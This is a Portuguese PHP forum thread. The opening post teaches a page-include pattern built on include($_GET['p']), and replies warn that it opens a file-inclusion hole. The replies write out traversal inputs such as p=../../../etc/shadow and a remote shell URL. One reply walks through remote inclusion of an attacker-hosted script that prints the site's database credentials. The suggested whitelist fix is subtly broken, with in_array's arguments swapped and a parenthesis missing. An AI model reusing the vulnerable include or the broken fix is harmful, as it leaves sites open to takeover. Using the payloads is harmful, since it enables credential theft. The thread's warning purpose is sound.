O tecnologia.com.pt mudou de visual. Envie-nos aqui a sua opinião, feedback ou sugestões.
Olá, efectue login com as suas credenciais do fórum ou registe-se aqui
Pesquise no fórum

Autor Tópico: Substituir Iframe Target por Include  (Lida 855 vezes)

Offline jonhyhvaftn

  • Distinguished Member
  • *
  • Mensagens: 617
  • Sexo: Masculino
  • Eu =)
    • SEm SIte de Momento
    • Email
Substituir Iframe Target por Include
« em: Maio 21, 2011, 23:07:35 pm »
Nota de brunoais: É aconselhado não seguir este tutorial enquanto não for alterado. Ele permite a abertura de uma falha de segurança enorme no programa php que o implementar exatamente como está indicado neste tópico.
Boas. Hoje vou esplicar como trocar o velho <a href="link" target="iframe1"> por inludes em PHP.

Código: [Seleccione]
<?
#A Pagina que aparecerá sempre no inicio:
$inicial = "home.php";
#Recebe a página que define a que incluirá:
$pagina = $_GET["p"];

if ($pagina == ""){
include ($inicial);
}ELSE{
include ($pagina);
}
?>

Colocas isso no local onde queres q abram as paginas, ou seja, onde colocarias o iframe.

Onde ta home.php será a pagina que irá abrir inicialmente.

Para acessares por exemplo:

A pagina inicio.html , link: http://site.com.pt/index.php?p=inicio.html
A pagina inc/config.php  link: http://site.com.pt/index.php?p=inc/config.php


para mudares o "p=" é so ires no codigo em $pagina = $_GET["p"]; e mudares o "p" para o que quiseres.

Cumps!
« Última modificação: Maio 22, 2011, 00:05:21 am por brunoais »

Offline brunoais

  • Newbie
  • *
  • Mensagens: 30
  • Sexo: Masculino
    • Email
Re: Substituir Iframe Target por Include
« Responder #1 em: Maio 22, 2011, 00:02:33 am »
Por acaso tens a noção da falha de segurança que estás a abrir aí, não tens?
Se tens, então resolve-a.
Se não tens avisa que eu ensino-te.

Offline diogomota

  • Distinguished Member
  • *
  • Mensagens: 735
  • Sexo: Masculino
Re: Substituir Iframe Target por Include
« Responder #2 em: Maio 22, 2011, 09:47:24 am »

Para acessares por exemplo:

A pagina inicio.html , link: http://site.com.pt/index.php?p=inicio.html
A pagina inc/config.php  link: http://site.com.pt/index.php?p=inc/config.php

Cumps!

ya ou tambem podes por por exemplo...  p=../../../etc/shadow   ou  ../../etc/.htaccess   ou melhor ainda  p=http://www.sitequalquercomumashell.com/shell.txt?  corrige isso

tens de ter atenção a segurança, esse codigo funcionava se nao existicem pessoas "más"  no mundo  tens de fazer o codigo e depois preguntareste a ti mesmo  " ok ja tenho um codigo que funciona. Será seguro isto o mais seguro que consigo fazer?"

le isto http://25yearsofprogramming.com/blog/2011/20110124.htm

Offline jonhyhvaftn

  • Distinguished Member
  • *
  • Mensagens: 617
  • Sexo: Masculino
  • Eu =)
    • SEm SIte de Momento
    • Email
Re: Substituir Iframe Target por Include
« Responder #3 em: Maio 22, 2011, 10:09:56 am »
Epah sempre usei isso nunca tive nenhum problema..

Offline brunoais

  • Newbie
  • *
  • Mensagens: 30
  • Sexo: Masculino
    • Email
Re: Substituir Iframe Target por Include
« Responder #4 em: Maio 22, 2011, 10:19:27 am »
Epah sempre usei isso nunca tive nenhum problema..
Em relação a isso só te digo:
Estás com sorte.

Offline jonhyhvaftn

  • Distinguished Member
  • *
  • Mensagens: 617
  • Sexo: Masculino
  • Eu =)
    • SEm SIte de Momento
    • Email
Re: Substituir Iframe Target por Include
« Responder #5 em: Maio 22, 2011, 10:21:13 am »
Epah sempre usei isso nunca tive nenhum problema..
Em relação a isso só te digo:
Estás com sorte.

Então explica-me la o erro e falha de segurança sff

Offline brunoais

  • Newbie
  • *
  • Mensagens: 30
  • Sexo: Masculino
    • Email
Re: Substituir Iframe Target por Include
« Responder #6 em: Maio 22, 2011, 11:03:13 am »
Epah sempre usei isso nunca tive nenhum problema..
Em relação a isso só te digo:
Estás com sorte.

Então explica-me la o erro e falha de segurança sff
Supunhamos:
Estás num servidor típico linux.
O servidor está a funcionar com as permissões predefinidas.
Tu executas o include do config.php nessa página (index.php) (se não o fizeres tb não há problema, eu ei de descobrir aonde o ficheiro está)

Eu tenho um website que permite includes externos.
Eu fiz um script que faz echo do que eu quero. Algo do género:

Código: [Seleccione]
<?php
echo "\n\n\n\n" DB_USERNAME "\n\n";
echo 
DB_PASSWORD;
exit();
?>

chamo a tua página:
http://site.com.pt/index.php?p=http://omeu.url.com/path/to/file.php

e aparece-me (por exemplo):
Código: [Seleccione]



JoaoCoisoo

16121981
Que[sarcasm], por acaso (só por acaso),[/sarcasm] é o username e a password da tua base de dados.

Agora é fácil para mim.
Posso fazer, por exemplo...

Código: [Seleccione]
<?php
$myHackingMysqlConnection 
mysql_query("SHOW TABLES");
//...
exit();
?>

Sabendo as tabelas que existem e os atributos que têm é uma festa do que eu posso obter.
Até posso obter passwords com hashing usando rainbow tables. Ainda mais fácil se não exisitr salt antes de as gravar na base de dados.
Posso... alterar tabelas, ... "the sky is the limit".

Nota: Se eu não acertar nas variáveis ou nas constantes à primeira tb n há problema. É só uma questão de tempo até eu acertar nelas.
Em relação ao include do config.php. Se ele ainda não existir tb não há problema. Faço-o eu mesmo.

Offline jonhyhvaftn

  • Distinguished Member
  • *
  • Mensagens: 617
  • Sexo: Masculino
  • Eu =)
    • SEm SIte de Momento
    • Email
Re: Substituir Iframe Target por Include
« Responder #7 em: Maio 22, 2011, 11:12:56 am »
Epah sempre usei isso nunca tive nenhum problema..
Em relação a isso só te digo:
Estás com sorte.

Então explica-me la o erro e falha de segurança sff
Supunhamos:
Estás num servidor típico linux.
O servidor está a funcionar com as permissões predefinidas.
Tu executas o include do config.php nessa página (index.php) (se não o fizeres tb não há problema, eu ei de descobrir aonde o ficheiro está)

Eu tenho um website que permite includes externos.
Eu fiz um script que faz echo do que eu quero. Algo do género:

Código: [Seleccione]
<?php
echo "\n\n\n\n" DB_USERNAME "\n\n";
echo 
DB_PASSWORD;
exit();
?>

chamo a tua página:
http://site.com.pt/index.php?p=http://omeu.url.com/path/to/file.php

e aparece-me (por exemplo):
Código: [Seleccione]



JoaoCoisoo

16121981
Que[sarcasm], por acaso (só por acaso),[/sarcasm] é o username e a password da tua base de dados.

Agora é fácil para mim.
Posso fazer, por exemplo...

Código: [Seleccione]
<?php
$myHackingMysqlConnection 
mysql_query("SHOW TABLES");
//...
exit();
?>

Sabendo as tabelas que existem e os atributos que têm é uma festa do que eu posso obter.
Até posso obter passwords com hashing usando rainbow tables. Ainda mais fácil se não exisitr salt antes de as gravar na base de dados.
Posso... alterar tabelas, ... "the sky is the limit".

Nota: Se eu não acertar nas variáveis ou nas constantes à primeira tb n há problema. É só uma questão de tempo até eu acertar nelas.
Em relação ao include do config.php. Se ele ainda não existir tb não há problema. Faço-o eu mesmo.

WoooW essa nao sabia.
E podes me dizer como resolver esse erro?

Offline brunoais

  • Newbie
  • *
  • Mensagens: 30
  • Sexo: Masculino
    • Email
Re: Substituir Iframe Target por Include
« Responder #8 em: Maio 22, 2011, 11:30:18 am »
Epah sempre usei isso nunca tive nenhum problema..
Em relação a isso só te digo:
Estás com sorte.

Então explica-me la o erro e falha de segurança sff
Supunhamos:
...

WoooW essa nao sabia.
E podes me dizer como resolver esse erro?
Podes fazer algo do tipo:
Código: [Seleccione]
$paginaspermitidas =
array(
          'coisa1.php',
          'coisa2.php',
          'goodToInclude/coisa1.php'
); etc...

if( !in_array( $paginaspermitidas, $_GET['p']){
     exit();
}

Embora este funcione eu gosto mais de 2 diferentes.
Um é fazer um switch e escrever diretamente em cada opção do switch uma listagem de páginas que pode aceder (e pode-se aproveitar para juntar permissões)
Outro é usar algo que se parece com aliasing. Usando o str_replace para substituir o que u user escreve pelo caminho para o ficheiro como (n vou andar a escrever muito código, vou simplificar):

Código: [Seleccione]
$pageToInclude = str_replace($pages, $allowedInputStrings, $_GET['p'], $replaceCount);
if($replaceCount != 1){
    // Unexpected! Abort or use default page
}
// It's safe, please continue